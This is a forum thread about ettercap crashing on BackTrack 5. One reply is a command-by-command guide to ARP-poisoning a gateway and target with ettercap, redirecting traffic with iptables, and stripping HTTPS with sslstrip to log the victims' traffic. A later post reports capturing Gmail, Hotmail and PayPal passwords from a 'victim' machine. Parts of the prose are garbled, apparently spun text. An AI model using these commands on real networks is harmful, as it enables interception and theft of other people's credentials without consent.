Backtrack 5- while scanning for active host, ettercap crashes

**Haleema** · 22-07-2011

I now updated from backtrack 5 releases 2 to backtrack 5 gnome 64 on my Toshiba Satellite P305-S8823. The whole thing is operational, airmon-ng, wireshark, and Adobe Flash, Firefox and synaptic, all fully operational. But when I start Ettercap-gtk, unified sniffing, looking for hosts -> and the graphical user interface ettercap crashes, I've left it running for several minutes waiting to resolve itself, but no luck. I have not even released yet etter.conf Does anyone else have this difficulty?

Must be configured to use the side ettercap command and report here is a little guide I wrote for help.

Code:

nano /etc/etter.conf
hold shift + press w then t
enter line 17 and you will see these lines you must change to 0
ec_uid = 65534 # nobody is the default
ec_gid = 65534 # nobody is the default
to this
ec_uid = 0 # nobody is the default
ec_gid = 0 # nobody is the default
hold shift + press w then t
type 1 then
hold shift + press w then t
type 168 and change the following lines
#redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
#redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
to this
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
press ctrl+x and y to save

Time to start ettercap and sslstrip

Code:

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000

start ettercap

Code:

ettercap -T -q -M ARP // // -i (interface)

Try using a chosen host or hosts

Code:

ettercap -T -q -M ARP /gateway/ /target/

Obtain Gateway

Code:

netstat -nr

Now start to strip sslstrip https (Hypertext Transfer Protocol Secure) back to http ((Hypertext Transfer Protocol).open a new terminal

Code:

sslstrip -l 1000 -w capture.txt

you can also use sslstrip with options

Code:

sslstrip -k -f -l 10000 -w capture

Unfortunately. Ettercap-gtk does not work (inside my Satellite P305-S8823). I tried to boot commencing from the DVD to authenticate with the intention of at hand; it was a blunder I finished. Still rejection joy. I tried consecutively the identical disk on a different laptop (Satellite L645): Ettercap-gtk working fine! Conclusion –It has a hardware configuration difficulty. Almost certainly necessitate to set-up dissimilar drivers.

This is the primary occasion I installed Ettercap mint debian gnome 64 on my Linux partition. Using ettercap-G, would shut subsequent to scanning of hosts 9 out of 11 times I tried, following May gnome 64 installed Backtrack, still I have the indistinguishable difficulty. I believe there is a difficulty with Ettercap and 64-bit architecture or ettercap and gnome. I will become accomplished at to create use of the terminal in place, the graphical user interface that looked like a nice bonus.

In my pc it works! I find the username and password Ettercap after sniffing. Repeat only the problem that is "unsafe website" to me "victimxp," but if the victim does not accept insurance website come in passwords. I tried gmail, hotmail, paypal, Alice. If I'm not changing ec_uid and ec_gid (default etter.conf!) I do not know what to say!) Above information help me lot .I’m thankful to all above member.
